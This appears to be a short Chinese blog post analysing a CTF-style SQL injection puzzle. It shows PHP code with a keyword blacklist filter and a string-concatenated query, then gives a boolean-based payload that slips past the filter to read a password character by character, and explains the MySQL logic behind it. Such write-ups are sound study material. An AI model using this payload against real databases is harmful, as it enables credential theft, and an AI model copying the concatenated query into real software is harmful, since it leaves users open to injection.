美文网首页
一道简单的注入思考

一道简单的注入思考

作者: _Tos | 来源:发表于2017-04-22 15:58 被阅读0次

    参数过滤以及传递如下:

    function filter($str){
         $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
         if(preg_match($filter,$str)){
             die("you can't input this illegal char!");
         }
         return $str; 
    
    }
    function show($username){
      global $conn;
      $sql = "select role from `user` where username ='".$username."'";
      $res = $conn ->query($sql);
      if($res->num_rows>0){
    
          echo "$username is ".$res->fetch_assoc()['role'];
      }else{
          die("Don't have this user!");
      }
    }
    

    基本上注入常用的都过滤了,但是没有过滤(、)、'、",payload如下:
    username="'!=!!(ascii(mid((passwd)from(1)))=51)!=!'"
    这里利用的是MySQL逻辑处理:

    TIM截图20170422155235.png TIM截图20170422155436.png
    无论几个逻辑“!”的处理,结果都是!(value);
    于是在利用中查询成功的逻辑为:
    username=!空=!0=1

    相关文章

      网友评论

          本文标题:一道简单的注入思考

          本文链接:https://www.haomeiwen.com/subject/eluszttx.html